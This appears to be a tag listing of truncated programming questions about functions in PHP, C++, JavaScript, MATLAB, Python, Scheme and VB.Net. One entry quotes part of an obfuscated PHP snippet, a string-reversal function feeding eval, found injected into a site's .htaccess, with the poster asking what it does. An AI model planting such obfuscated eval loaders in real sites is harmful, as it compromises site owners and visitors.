function

How to parse a variable?

I have the following test line in my PHP which works fine as a way of posting to Twitter from within my PHP code. $oauth->post('statuses/update', array('status' => "hello world")); However I want to post the contents of a variable as opposed to Hello World If I change the code as follows, then all that gets posted is $message $oauth...

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows: function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"re...

mismatch in formal parameter list

\a3.cpp(75): error C2563: mismatch in formal parameter list im certain im passing the fuction checkout with 3 doubles, i dont know why im getting the error i am. Please help #include <iostream> #include <cstdlib> using namespace std; const double peanut_PRICE = 1.80; const double peanut_SHIP = 0.50; const double BOOK_PRICE = 9...

Javascript: How can I execute code on a function call without overwriting that function?

So, I would like to have some code executed everytime a given function is called, is that doable? Thing is, I could just overwrite the existing function and add the code, but that would require me to know the exact content of that function... Imagine a "plug-in" to a "library", and you want the plug-in to execute code everytime a specifi...

Object Expected error in IE7 - problem with function scope?

Hi - I'm having what I hope is a simple-to-fix issue. Basically, I've got one block of javascript containing the function, and then I'm trying to call it from another block of javascript (within a jQuery $(document).ready function). Whilst it works fine on Firefox, I get an 'Object Expected' error in IE7. It's probably something to do w...

Some compiler errors concerning an overloaded operator on a template in c++

Hi all, I have some code with a few errorr I do not understand how to fix at all. I have asked my professor and TA, and consulted the internet with no luck, apart from understanding more precisely what the errors mean. From what I can tell, the compiler is either confusing my overloaded operator with built in operators, or it is not re...

Printing an HTML page (the FULL page!)

Hi all, I have a web page which has many divs (listed like table rows), and the rows exceed the length of the page (within view, before you have to scroll down). I am using some JavaScript to toggle what information is displayed on my page (for example, number of rows.) I have made a print.css file and have manaed to edit the style tha...

matlab reshape function, number of elements problem

Hey guys. I want to use reshape() function in matlab by calling the following self-defined function : imgRgb = reshape(convertYuvToRgb(reshape(imgYuv, height*width, 3)), height, width, 3); here, width=352, height=288, imgYuv is a 4D matrix. However, the system gave me the following error message: To RESHAPE the number of elements must...

return a function object with parameter binded?

All, def a(p): return p+1 def b(func, p): return func(p) b(a,10) # 11 here I do not want the result "11" actually, what I want is a function object with the parameter has been binded, let's name it c. when I use c() or something alike, it will give me the result 11, possible? Thanks! ...

Javascript: call a specific function on function complete

Hi, I have a slow function that does an AJAX request: function X(param1,param2){ var params={ type: "POST", url: "./ajax/useful.php", data: "param1="+param1+"&param2="+param2, success: function(msg){ //do something } }; var result=$.ajax(params).responseText; } Everything works fine when I call X("asdf",...

VB.Net: Is there something to be gained by using the Function itself to hold the return value instead of declaring a local variable?

What's best practice (in VB.Net): Function GetSomething() as String GetSomething = "Here's your string" End Function or Function GetSomething() as String Dim returnString as String = "Here's your string" Return returnString End Function Obviously, neither of these implementations make any sense, but they're just meant t...

passing a string literal to a function that takes a std::string&

I have the following function void AddNodeValue(XMLNode& node, std::string& value); I want to use it like this: document.AddNodeValue(modvalue,"modvalue"); and the compiler complains: error C2664: 'void XML::XMLDocument::AddNodeValue(XML::XMLNode &,std::string &)' : cannot convert parameter 2 from 'const char [9]' to 'std::stri...

Scheme List Derangement (Rearrangement of sorts)

im trying to write a function in Scheme where i accept a list and return all the different derangements (look below for definition) as a list of lists derangement: A list where no item is in the same place as the original list ex: '(a b c) -> '(cab) any help is appreciated! ...

Callback and Functions with jquery..

Hi everybody... I have already asked a question but I wanted to ask it in another way with another question. Is that possible call a method 10 times in asynchronous mode without specifying a return value. I am doing everything in a single page. I do not need to visit any other page. I have got a set of operation, each operation should w...

Need some help for c++ !!

Can you tell me what does .time do ? I supose that time is something like a function ,but what does the . operand do ?? Thank you ! :) ...

How do I see the arguments (and types) of a python method?

$ py twitterDump2.py Traceback (most recent call last): File "twitterDump2.py", line 30, in <module> stream=tweepy.Stream(username,password,listener) TypeError: __init__() takes exactly 3 arguments (4 given) My code: username="abc" password="abc" listener = StreamWatcherListener() stream=tweepy.Stream(username,password,listener...

php shift in a hierarchy array

Hello. I have the next array: Array( [id] => 1 [children] => Array( [2] => Array( [id] => 2 [inactive] => true [children] => Array( [4] => Array( [id] => 4 [children] => Array() ) ) ) [3] => array( [id] => 3 ...

Jquery delay on function

Hi I written a two jquery functions for a simple fading menu, it basically splits the screen in half and allows you go to one of two sites. How can I set a delay of say 2 seconds before these function work? Here's my code: $('#retailNav').bind({ mouseenter: function() { $('#retailFull:not(:animated)').fadeIn('slow'); ...

Dynamic title in php

I am Trying to get the page title (<title>bla..bla..bla..</title>) to be changable in php with a multi-file layout like so: Functions.php is included into index.php, then get_header() is called from functions.php to include the page header.php the title tag is inside the header file. I would like to be able to set the title from index.ph...

How to use isset and null variables in functions

I have a fairly simple question I'm guessing. I have the following code at the beginning of my function, but it must not be correct because it causes the blank to turn blank. If I comment out the IF statement, everything runs fine. What am I doing wrong? Sorry, it's probably very basic... function get_entries($order = 'newest', $slug ...